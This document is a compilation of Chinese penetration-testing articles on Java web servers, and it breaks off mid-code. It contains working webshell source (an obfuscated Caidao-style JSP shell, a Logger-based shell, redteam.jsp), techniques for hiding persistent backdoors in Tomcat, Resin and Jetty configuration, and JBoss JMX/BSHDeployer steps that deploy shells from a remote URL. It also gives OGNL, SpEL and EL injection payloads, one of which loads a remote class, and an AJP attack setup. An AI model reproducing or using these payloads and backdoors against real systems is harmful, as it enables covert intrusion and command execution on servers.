);ResultSetMetaData d=r.getMetaData();for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i <=n; i++){sb.append(d.getColumnName(i)+"\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i<=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+""+"\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("->"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String
c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());

0x02 Java Logger日志后门

某些场景下shell可能被过滤掉了,但是利用一些有趣的东东可以绕过,比如不用new File这样的方式去写文件,甚至是尽可能的不要出现File关键字。 看了下java.util.logging.Logger挺有意思的,可以写日志文件,于是试了下用这样的方式去写一个shell,结果成功了。 
 java.util.logging.Logger默认输出的格式是xml,但这都不是事,直接格式化下日志以text方式输出就行了。 
 新建2.jsp并访问:
<%java.util.logging.Logger l=java.util.logging.Logger.getLogger("t");java.util.logging.FileHandler h=new java.util.logging.FileHandler(pageContext.getServletContext().getRealPath("/")+request.getParameter("f"),true);h.setFormatter(new java.util.logging.SimpleFormatter());l.addHandler(h);l.info(request.getParameter("t"));%>

其他略特殊点的文件读写Demo:


new FileOutputStream new FileOutputStream("d:/sb.txt").write(new String("123").getBytes()); new DataOutputStream new DataOutputStream(new FileOutputStream("d:/1x.txt")).write(new String("123").getBytes()); FileWriter fw = new FileWriter("d:/3.txt"); fw.write("21"); fw.flush(); fw.close(); RandomAccessFile rf = new RandomAccessFile("d:/14.txt", "rw"); rf.write(new String("3b").getBytes()); rf.close();

GetShell.htm:


jsp-yzmm
URL:   FileName:   Upload

0x03 jspf后门

在Resin的配置文件conf/app-default.xml看到了几个可以用jsp方式去解析的后缀,其中就包含了jspf和上面的jspx:  其中的resin-jsp和resin-jspx差不多,都是com.caucho.jsp.JspServlet处理,知识后者在init标签中标明了是以xml方式解析:true。 百度了下此jspf非框架(Java Simple Plugin Framework),JSP最新的规范已经纳入了jspf为JSP内容的文件。但是经过测试主流的JavaServer仅有resin和jetty支持,tomcat等server并不支持。不过在实际的生产环境上resin用的非常广泛。至于jetty略少,不过貌似bae是用的jetty。 直接把css.jsp文件改名为1.jspf请求即可看到成功调用菜刀接口: 

0x04 邪恶后门第一式-恶意的任意后缀解析

从Tomcat和Resin的配置当中可以看出来,其实脚本可以是任意后缀,只要在配置解析的地方修改下映射的后缀就行了。那么只要修改下配置文件中后缀映射为jsp对于的解析的servlet名字就可以轻松的留下一个“不同寻常”的后缀的后门了。我测试Tomcat6/8和Resin3发现:一个运行当中的server当修改他们的映射的文件后不需要重启即可自动生效。也就是说可能一个网站存在跨目录的文件编辑漏洞,只要找到对于的配置文件地址修改后就能访问1.jpg去执行恶意的jsp脚本,这听起来有点让人不寒而栗。Getshell后只要把这配置文件一改丢个jpg就能做后门了。

Tomcat修改conf/web.xml:

Resin修改conf/app-default.xml:

0x05 邪恶第二式-“变态的server永久后门”

如果说修改某些不起眼的配置文件达到隐藏后门足够有意思的话,那么直接把后门“藏到Server里面”可能更隐蔽。 在之前攻击Java系列教程中就已经比较详细的解释过Java的Server以及servlet和filter了。其实server启动跟启动一个app应用是非常相似的,我们需要做的仅仅是把servlet或者filter从应用层移动到server层,而且可以做到全局性。这种隐藏方法是极度残暴的,但是缺点是需要重启Server。假设在一台Server上部署了N个应用,访问任意一个应用都能获取Webshell。http://ip/xxx就是后门了。没明白?上demo。

Tomcat5配置方式:

在apache-tomcat-5.5.27\conf\web.xml的session-config后面加上一个filter或者servlet即可全局过滤:
HttpServletWrapper javax.servlet.web.http.HttpServletWrapper HttpServletWrapper /servlet/HttpServletWrapper
url-pattern表示默认需要过滤的请求后缀。 需要把jar复制到tomcat的lib目录,项目启动的时候会自动加载jar的filter或者filter。 Resin配置需要修改E:\soft\resin-pro-3.1.13\conf\app-default.xml,在resin-xtp的servler后面加上对应的filter或者servlet并把E:\soft\resin-pro-3.1.13\lib放入后门的jar包:  Jetty配置,修改D:\Soft\Server\jetty-distribution-9.0.5.v20130815\etc\webdefault.xml文件,在default的servlet之前配置上面的filter和servler配置。 Jar包:E:\soft\jetty-distribution-9.0.4.v20130625\lib 其他的Server就不列举了差不多。servlet和filter配置也都大同小异知道其中的一种就知道另一种怎么配置了。 servlet-api-3.04.jar是我伪装的一个后门, jar下载地址:http://pan.baidu.com/s/17mKbH 对应的后门HttpServletWrapper.java下载地址:http://pan.baidu.com/s/1l8eiM

0x06 其他后门

1、javabean

http://blogimg.chinaunix.net/blog/upfile2/090713181535.rar 用法:把beans.jsp传到网站根目录,把beans.class传到"\webapp\WEB-INF\classes\linx"目录。 再访问 http://xxxxxx.com/webapp/beans.jsp?c=ls

2、servlet

http://blogimg.chinaunix.net/blog/upfile2/090713181617.rar 用法:把文件传到"\webapp\WEB-INF\classes"目录,访问 http://xxxxxx.com/webapp/servlet/servlets?c=ls 如果无法打开,请参考 http://blog.csdn.net/larmy888/archive/2006/03/02/613920.aspx

3、编译执行型后门

上传一个java文件编译并执行,通过socket方式可做后门。一般来说Server的loader在启动后不会再去加载新增的jar或者class文件,如果想自动加载新的class文件可能需要根据不同的Server去改配置。Tomcat下配置的时候经常有人会reloadable="true"这样就有机会动态去加载class文件。可以根据Server去留一些有意思的后门。 
http://xsser.me/caidao/getshell-by-logger.txt

0x00 简介

JBoss应用服务器(JBoss AS)是一个被广泛使用的开源Java应用服务器。 它是JBoss企业中间件(JEMS)的一部分,并且经常在大型企业中使用。 因为这个软件是高度模块化和松耦合的,导致了它很很复杂,同时也使它易成为攻击者的目标。 本文从攻击者的角度来看,指出JBoss应用服务器存在的潜在风险,并结合例子如何实现如何在JBoss应用服务器上执行任意代码。

0x01 JBoss概述

JBoss应用服务器基于Java企业版1.4,并可以在应用在非常多操作系统中,包括Linux,FreeBSD和Windows中,只要操作系统中安装了Java虚拟机。 JBoss应用服务架构
Java管理扩展(JMX)
Java管理扩展(JMX)是一个监控管理Java应用程序的标准化架构,JMX分为三层:
JMX架构
设备层(Instrumentation Level):主要定义了信息模型。在JMX中,各种管理对象以管理构件的形式存在,需要管理时,向MBean服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。 代理层(Agent Level):主要定义了各种服务以及通信模型。该层的核心是一个MBean服务器,所有的管理构件都需要向它注册,才能被管理。注册在MBean服务器上管理构件并不直接和远程应用程序进行通信,它们通过协议适配器和连接器进行通信。而协议适配器和连接器也以管理构件的形式向MBean服务器注册才能提供相应的服务。 分布服务层(Distributed Service Level):主要定义了能对代理层进行操作的管理接口和构件,这样管理者就可以操作代理。然而,当前的JMX规范并没有给出这一层的具体规范。
JMX Invoker
Invokers允许客户端应用程序发送任意协议的JMX请求到服务端。 这些调用都用过MBean服务器发送到响应的MBean服务。 传输机制都是透明的,并且可以使用任意的协议如:HTTP,SOAP2或JRMP3。
Deployer架构
攻击者对JBoss应用服务器中的Deployers模块特别感兴趣。 他们被用来部署不同的组成部分。 本文当中重点要将的安装组件: JAR(Java ARchives):JAR 文件格式以流行的 ZIP 文件格式为基础。与 ZIP 文件不同的是,JAR 文件不仅用于压缩和发布,而且还用于部署和封装库、组件和插件程序,并可被像编译器和 JVM 这样的工具直接使用。在 JAR 中包含特殊的文件,如 manifests 和部署描述符,用来指示工具如何处理特定的 JAR。 WAR(Web ARchives):WAR文件是JAR文件包含一个Web应用程序的组件,与Java ServerPages(JSP),Java类,静态web页面等类似。 BSH(BeanSHell scripts):BeanShell是Java脚本语言,BeanShell脚本使用Java语法,运行在JRE上。 最重要的JBoss应用服务器deployer是MainDeployer。它是部署组件的主要入口点。 传递给MainDeployer的部署组件的路径是一个URL形式:
org.jboss.deployment.MainDeployer.deploy(String urlspec)
MainDeployer会下载对象,并决定使用什么样的SubDeployer转发。 根据组件的类型,SubDeployer(例如:JarDeployer,SarDeployer等)接受对象进行安装。 为了方便部署,可以使用UrlDeploymentScanner,它同样获取一个URL作为参数:
org.jboss.deployment.scanner.URLDeploymentScanner.addURL(String urlspec)
传入的URL会被定期的检查是否有新的安装或更改。 这就是JBoss应用服务器如何实现热部署的,有新的或者更改的组件会被自动的部署。

0x02 攻击


WAR文件
最简单的在JBoss应用服务器上运行自己的代码是部署一个组件,JBoss可以通过HTTP安装组件。 WAR文件包需要在WEB-INF目录下含一个web.xml文件,在实际的应用程序代码目录之外。 这是一个描述文件,描述了在什么URL将在之后的应用程序中发现。 WAR文件可以用Java的SDK jar命令创建:
$ jar cvf redteam.war WEB-INF redteam.jsp
redteam.war的结构目录:
|-- META-INF | -- MANIFEST.MF |-- WEB-INF | -- web.xml -- redteam.jsp
META-INF/MANIFEST.MF是用jar创建文件时自动创建的,包含JAR的信息,例如:应用程序的主入口点(需要调用的类)或者需要什么额外的类。这里生成的文件中没有什么特别的信息,仅包含一些基本信息:
Manifest-Version: 1.0 Created-By: 1.6.0_10 (Sun Microsystems Inc.)
WEB-INF/web.xml文件必须手动创建,它包含有关Web应用程序的信息,例如JSP文件,或者更详细的应用描述信息,如果发生错误,使用什么图标显示或者错误页面的名称等
RedTeam Shell /redteam.jsp
redteam的内容:
<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>
HTTP请求:
/redteam.jsp?cmd=ls
将会列出当前目录所有文件,命令执行后的结果会通过如下代码返回来:
while ( disr != null ) { out.println(disr); disr = dis.readLine(); }

JMX Console
JMX控制台允许通过web浏览器与JBoss应用服务器直接互动的组件。 它可以方便的管理JBoss服务器,MBean的属性与方法可以直接调用,只要参数中没有复杂的参数类型。 JMX控制台默认界面 这个通常是攻击者第一个目标。 Server- 和ServerInfo-MBean MBeans的属性
jboss.system:type=Server jboss.system:type=ServerInfo
展现了JBoss应用服务器与主机系统的信息,包含Java虚拟机以及操作系统的类型版本信息。 MBean的属性 JMX控制台对MBeans可读可操作,不仅包含JBoss应用服务器本身的信息,同时包含主机信息,这些有助于进一步攻击。 MBean的shutdown()方法可以关闭JBoss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
redteam.war安装
MainDeployer的方法属性可以在JMX控制台中的jboss.system中调用。 deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。 当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了 deploy()方法 JBoss应用程序执行ls -l命令
RMI: 远程方法调用
通常JMX控制台保护方法是加一个密码保护。 然而这不是访问JBoss应用服务器组件的唯一方式,JBoss应用服务器经常与客户端程序接口相互调用,Java远程方法调用(RMI)也发挥重要作用。 使用RMI,本地应用程序可以访问远程对象,并可以调用它们的方法。客户端与服务器之间的通信是透明的。 JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。 JNDI可访问的现有的目录及服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
通过RMI访问MBean
RMI接口默认凯奇在端口4444上,JNDI接口默认开启在1098和1099上。 与JBoss应用服务器RMI通信,可以使用专门的Java程序。更简单的方式是使用twiddle,包括JBoss应用服务器的安装。
$ sh jboss-4.2.3.GA/bin/twiddle.sh -h A JMX client to ’twiddle’ with a remote JBoss server. usage: twiddle.sh

options: -h, --help Show this help message --help-commands Show a list of commands -H= Show command specific help -c=command.properties Specify the command.properties file to use -D
Set a system property -- Stop procession options -s, --server= The JNDI URL of the remote server -a, --adapter= The JNDI name of the RMI adapter to user -u, --user= Specify the username for authentication -p, --password= Specify the password for authentication -q, --quiet Be somewhat more quiet
有了twiddle,就用可用命令行通过RMI调用JBoss应用服务器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh来启动twiddle。类似于JMX控制台,MBEAN的属性可读可改,并且可以调用其方法。 显示MBean服务器的信息
$ ./twiddle.sh -s scribus get jboss.system:type=ServerInfo ActiveThreadCount=50 AvailableProcessors=1 OSArch=amd64 MaxMemory=518979584 HostAddress=127.0.1.1 JavaVersion=1.6.0_06 OSVersion=2.6.24-19-server JavaVendor=Sun Microsystems Inc. TotalMemory=129957888 ActiveThreadGroupCount=7 OSName=Linux FreeMemory=72958384 HostName=scribus JavaVMVersion=10.0-b22 JavaVMVendor=Sun Microsystems Inc. JavaVMName=Java HotSpot(TM) 64-Bit Server VM
安装redteam.war 根据twiddle的帮助利用deploy()方法安装war文件。
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war
通过下面的URL访问shell:
http://scribus:8080/redteam/redteam-shell.jsp

BSHDeployer
利用RMI攻击需要JBoss应用服务器能够访问远程HTTP服务器。 然而在很多配置中,防火墙不允许JBoss服务器对外发出连接请求: 为了能够在JBoss服务器上安装redteam.war,这个文件需要放在本地。 虽然JBoss不允许直接直接上传文件,但是有BeanShellDeployer,我们可以在远程服务器上创建任意文件。
BeanShell
BeanShell是一种运行在JRE上的脚本语言,该语言支持常规的Java语法。可以很快写完,并且不需要编译。
BSHDeployer
JBoss服务器中BSHDeployer可以部署BeanShell脚本,它会安装后自动执行。 利用BSHDeployer安装的方法是:
createScriptDeployment(String bshScript, String scriptName)

BeanShell脚本
可以用下面的BeanShell脚本实现把redteam.war放到JBoss服务器上。
import java.io.FileOutputStream; import sun.misc.BASE64Decoder; // Base64 encoded redteam.war String val = "UEsDBBQACA
AAAAA"; BASE64Decoder decoder = new BASE64Decoder(); byte
byteval = decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream("/tmp/redteam.war"); fs.write(byteval); fs.close();
变量val中是redteam.war文件的base64编码后的字符串,脚本在tmp目录下生成redteam.war文件,Windows中可以填写C:WINDOWSTEMP。
安装redteam.war文件
利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:
$ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat redteam.bsh‘" redteam.bsh
tedteam.bsh包含上面的BeanShell脚本,调用成功后JBoss服务器返回BeanShell创建的临时文件地址:
file:/tmp/redteam.bsh55918.bsh
当BeanShell脚本执行部署后,会创建/tmp/redteam.war文件,现在就可以通过调用本地文件来部署了:
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war
之后就可以访问redteam-shell.jsp来执行命令了。
Web Console Invoker
通过JMX控制台与RMI来控制JBoss服务器是最常用的方法。 除了这些还有更隐蔽的接口,其中之一就是Web控制台中使用JMXInvoker。
Web控制台
Web控制台与JMX控制台类似,也可以通过浏览器访问。 Web控制台的默认界面: 如果JMX控制台有密码保护的话,是不可以通过Web控制台访问MBean的函数的,需要登陆后才能访问。
Web控制台JMX Invoker
Web控制台除了可以看到组建的梳妆接口与JBoss服务器信息外,还可监视MBean属性的实时变化。 访问URL:
http://$hostname/web-console/Invoker
这个Invoker其实就是JMX Invoker,而不局限于Web控制台提供的功能。 默认情况下,访问是不受限制的,所以攻击者可以用它来发送任意的JMX命令到JBoss服务器。
安装redteam.war
用Web控制台的Invoker安装redteam.war文件。 webconsole_invoker.rb可以直接调用Web控制的JMX Invoker,使用的Java类是:org.jboss.console.remote.Util Util.class文件属于JBoss服务器的JAR文件:console-mgr-classes.jar,它提供的方法:
public static Object invoke( java.net.URL externalURL, RemoteMBeanInvocation mi) public static Object getAttribute( java.net.URL externalURL, RemoteMBeanAttributeInvocation mi)
通过Web控制台Invoker可以读取MBean的属性与invoke方法。 这个类可以通过webconsole_invoker.rb脚本使用,使用方法如下:
$ ./webconsole_invoker.rb -h Usage: ./webconsole_invoker.rb
MBean -u, --url URL The Invoker URL to use (default:http://localhost:8080/web-console/Invoker) -a, --get-attr ATTR Read an attribute of an MBean -i, --invoke METHOD invoke an MBean method -p, --invoke-params PARAMS MBean method params -s, --invoke-sigs SIGS MBean method signature -t, --test Test the script with the ServerInfo MBean -h, --help Show this help Example usage: ./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo ./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo ./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo
通过如下命令利用BSHDeployer来安装redteam.war文件。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s "java.lang.String","java.lang.String" -p "`cat redteam.bsh`",redteam.bsh jboss.deployer:service=BSHDeployer
在远程服务器上创建一个本地的redteam.war文件,现在第二部就可以利用MainDeployer安装/tmp/redteam.war文件了。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s "java.lang.String" -p "file:/tmp/redteam.war" jboss.system:service=MainDeployer
redteam-shell.jsp又可以访问了。
JMXInvokerServlet
之前提到过JBoss服务器允许任何协议访问MBean服务器,对于HTTP,JBoss提供HttpAdaptor。 默认安装中,HttpAdaptor是没有启用的,但是HttpAdaptor的JMX Invoker可以通过URL直接访问。
http://$hostname/invoker/JMXInvokerServlet
这个接口接受HTTP POST请求后,转发到MBean,因此与Web控制台Invoker类似,JMXInvokerServlet也可以发送任意的JMX调用到JBoss服务器。
创建MarshalledInvocation对象
JMXInvokerServlet的调用与Web控制台Invoker不兼容,所以不能使用webconsole_invoker.rb脚本调用。 MarshalledInvocation对象通常只在内部JBoss服务器上做交流。 httpinvoker.rb脚本与webconsole_invoker.rb脚本类似,但是需要JBoss服务器激活HttpAdaptor
$ ./httpinvoker.rb -h Usage: ./httpinvoker.rb
MBean -j, --jndi URL The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory) -p, --adaptor URL The Adaptor URL to use (default:jmx/invoker/HttpAdaptor) -a, --get-attr ATTR Read an attribute of an MBean -i, --invoke METHOD invoke an MBe an method --invoke-params PARAMS MBean method params -s, --invoke-sigs SIGS MBean method signature -t, --test Test the script with the ServerInfo MBean -h, --help Show this help

安装tedteam.war
与webconsole_invoker.rb安装类似。 寻找JBoss服务器的方法:
inurl:"jmx-console/HtmlAdaptor" intitle:"Welcome to JBoss"
From: Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN

0x00 背景

在J2EE远程代码执行中,大部分的代码执行情况的本质是,能够从外部去直接控制Java对象(其他语言暂不讨论,其实也差不多),控制Java对象大致包括几种情况:直接new对象;调用对象的方法(包括静态方法);访问对象的属性(赋值)等 那么一些J2EE框架在设计之中,如果某些功能允许以上操作,可能出现的远程代码执行情况。

0x01 OGNL

参考:http://drops.wooyun.org/papers/340 get方式,调用对象的静态方法执行命令:
... OgnlContext context = new OgnlContext(); Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot()); ...
set方式,new一个对象调用方法执行命令:
... OgnlContext context = new OgnlContext(); Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String
{"calc" })).start(), context,context.getRoot()); ...
那么我们在使用OGNL实现某些J2EE框架功能或者机制中,如果getValue或setValue函数是允许外部参数直接完整内容传入的,那肯定是很危险的!!! 比如:webWork及Struts2框架(其实真是不想说,Struts2简直就是在拖Java安全水平的后腿。它所有OGNL远程执行代码的漏洞的形成,可以用一句话简单概括:在使用OGNL实现框架某些功能或机制时,允许外部参数直接传入OGNL表达式或安全限制被饶过等)

0x02 在spring框架中也有类似OGNL的Spel表达式

1.调用对象的静态方法执行命令:
... org.springframework.expression.Expression exp=parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')"); ...
2.new一个对象调用方法执行命令:
... org.springframework.expression.Expression exp=parser.parseExpression("new java.lang.ProcessBuilder((new java.lang.String
{'calc'})).start()"); ...
但spring在安全方面应该不会像struts2一样这么不负责任(不过,现在稍微好点了!),它有没有类似的安全漏洞,有兴趣的可以去找找 ^-^

0x03 spring 标签实现中的el表达式注入

例如,类似的代码场景:
... el: ...
之前是个信息泄露漏洞(路径及jar等信息): 前段时间老外弄出了远程命令执行,部分exp(网上都有,有兴趣自己找试一下。能否执行代码和web容器有很大关系,最好选老外一样的Glassfish或者resin某些版本用反射技巧实现执行代码):
http://127.0.0.1:8080/spring/login.jsp?el=${pageContext.request.getSession().setAttribute("exp","".getClass().forName("java.util.ArrayList").newInstance())}

http://127.0.0.1:8080/spring/login.jsp?el=${pageContext.request.getSession().getAttribute("exp").add(pageContext.getServletContext().getResource("/").toURI().create("http://127.0.0.1:8080/spring/").toURL())}

http://127.0.0.1:8080/spring/login.jsp?el=${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("exp").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("exp").newInstance()}
原理简单描述:远程加载一个exp.class,在构造器中执行命令(利用对象初始化执行代码).(因为其他web服务器对象方法调用被限制,所以执行恶意代码肯定会有问题) 这个漏洞重要的是学习它的利用技巧!实际危害其实不大!

0x04 反射机制实现功能时,动态方法调用

参考:http://zone.wooyun.org/content/6971 其实,这篇文章主要给出的是反射机制使用不当造成的方法越权访问漏洞类型场景,而不是struts2这个漏洞本身,可能大家都怀恋之前一系列struts2轻松getshell的exp了! 简化后的伪代码:
... Class clazz = 对象.getClass(); Method m = clazz.getDeclaredMethod("有实际危害的方法"); m.invoke(对象); ...
原理简单描述:本质其实很简单,getDeclaredMethod的函数如果允许外部参数输入,就可以直接调用方法了,也就是执行代码,只是危害决定于调用的方法的实际power!

0x05 spring class.classLoader.URLs
对象属性赋值

cve-2010-1622 这是我最喜欢的一个漏洞利用技巧: 这个利用有点绕,其实如果看得懂Java其实也很简单!(大家常说,喜欢熬夜的coder不是好员工,睡觉了!) 以前看了很多篇漏洞分析文章,其中这篇不错(说得算比较清晰),推荐它: http://www.iteye.com/topic/1123382 另外,其实我个人觉得,这个漏洞的其他利用的实际危害要超过执行命令方式,比如:拒绝服务等 如果把你想像力再上升一个层面:在任意场景中只要能够控制Java对象,理论上它就能执行代码(至于是否能够被有效利用是另外一回事)。其实说得再执白点,写底层代码的程序员知不知道这些问题可能导致安全漏洞!

Tomcat的8009端口AJP的利用

Tomcat在安装的时候会有下面的界面,我们通常部署war,用的最多的是默认的8080端口。 可是当8080端口被防火墙封闭的时候,是否还有办法利用呢? 答案是可以的,可以通过AJP的8009端口,下面是step by step。 下面是实验环境:
192.168.0.102 装有Tomcat 7的虚拟主机,防火墙封闭8080端口 192.168.0.103 装有BT5系统的渗透主机
首先nmap扫描,发现8009端口开放 BT5默认apache2是安装的,我们仅需要安装mod-jk
#!shell root@mickey:~# apt-get install libapache2-mod-jk
jk.conf的配置文件如下:
#!shell root@mickey:/etc/apache2/mods-available# cat jk.conf # Update this path to match your conf directory location JkWorkersFile /etc/apache2/jk_workers.properties # Where to put jk logs # Update this path to match your logs directory location JkLogFile /var/log/apache2/mod_jk.log # Set the jk log level
JkLogLevel info # Select the log format JkLogStampFormat "
" # JkOptions indicate to send SSL KEY SIZE, JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories # JkRequestLogFormat set the request format JkRequestLogFormat "%w %V %T" # Shm log file JkShmFile /var/log/apache2/jk-runtime-status
jk.conf软连接到/etc/apache2/mods-enabled/目录
#!shell ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
配置 jk_workers.properties
#!shell root@mickey:/etc/apache2# cat jk_workers.properties worker.list=ajp13 # Set properties for worker named ajp13 to use ajp13 protocol, # and run on port 8009 worker.ajp13.type=ajp13 worker.ajp13.host=192.168.0.102 <\---|这里是要目标主机的IP地址 worker.ajp13.port=8009 worker.ajp13.lbfactor=50 worker.ajp13.cachesize=10 worker.ajp13.cache_timeout=600 worker.ajp13.socket_keepalive=1 worker.ajp13.socket_timeout=300
默认站点的配置 重启apache
#!shell sudo a2enmod proxy_ajp sudo a2enmod proxy_http sudo /etc/init.d/apache2 restart
现在apache的mod_jk模块就配置好了,访问192.168.0.103的80端口,就被重定向到192.168.0.102的8009端口了,然后就可以部署war了。

0x00 背景

当这个《Struts2 Tomcat class.classLoader.resources.dirContext.docBase赋值造成的DoS及远程代码执行利用!》在Tomcat下的利用出来以后,它其实秒杀的不是一个框架,而是所有表单数据绑定功能不安全实现的J2EE MVC模式框架(因为国内运营商共享协议的限制,远程代码执行漏洞在国内难以大规模实现.但DoS漏洞还是存在的!).

0x01 细节

稍微列一下清单:

Struts1框架:

2013年已经停止更新了,所以不会有补丁,出于节操,报了一下官方,Struts2项目leader 波兰小胖子 Lukasz Lenar 是这样回复的: 如图:

webWork框架:

struts2框架的前身,由于与struts2框架合并,所以不会有补丁!

Struts2框架:

前面文章已经介绍了(不过发现,到现在很多重要厂商都没修复!)

Spring 框架:

已经在cve-2010-1622中,补丁对class.classLoader的限制.但利用从此可以简化! 还有就是,自己早年学习java时,写的简易框架,也可以打(只是表单填充需要多写一行代码手动调用填充,而其他常规框架是自动的)40.gif 就以自己写的框架说明问题: 表单参数绑定功能是MVC模式的框架一项非常重要的功能,比如: 没有表单参数绑定功能的时代,我们填充javabean的属性都需要:
#!java ... dto.setUserName(request.getParameter("userName")); dto.setPassWord(request.getParameter("passWord")); ....
框架表单参数绑定出现以后,就节约了很多硬编码(这是框架的主要作用之一!) 通常实现表单参数绑定需要用到Java的两个重要机制: 内省(introspector)与反射(reflection) 而Apache commons-beanutils组件就提供了javaBean的内省与反射操作简化API 哥的框架使用commons-beanutils,实现表单参数绑定的部分代码块:
#!java ... public static Object parseRequest(HttpServletRequest request, Object bean) throws ServletException, IOException { Enumeration enums = request.getParameterNames(); while (enums.hasMoreElements()) { Object obj = enums.nextElement(); try { Class cls = PropertyUtils.getPropertyType(bean, obj.toString()); Object beanValue = ConvertUtils.convert(request.getParameter(obj.toString()), cls); HashMap map = new HashMap(); BeanUtils.populate(bean, map); PropertyUtils.setProperty(bean, obj.toString(), beanValue); } catch (Exception e) { // e.printStackTrace(); } } return bean; } ...
这里不会框架的可以用servlet测试一下漏洞! 这里有一个重要的问题,就是为什么能访问到基类Object.class ? 看内省机制,内省是 Java 语言对 Bean 类属性、事件的一种缺省处理方法。例如类 A 中有属性 name, 那我们可以通过 getName,setName 来得到其值或者设置新的值。通过 getName/setName 来访问 name 属性,这就是默认的规则(*但是只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性)。 本身就业务逻辑讲,访问javaBean的属性就够了,是不需要访问其他基类的Object.class,但是内省机制使用不当,就会造成这个问题. 问题非常简单,在内省机制获取javaBean属性的一个小细节,测试代码:
#!java public class TestBean { private String id; private String name; public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } public class Test { public static void main(String
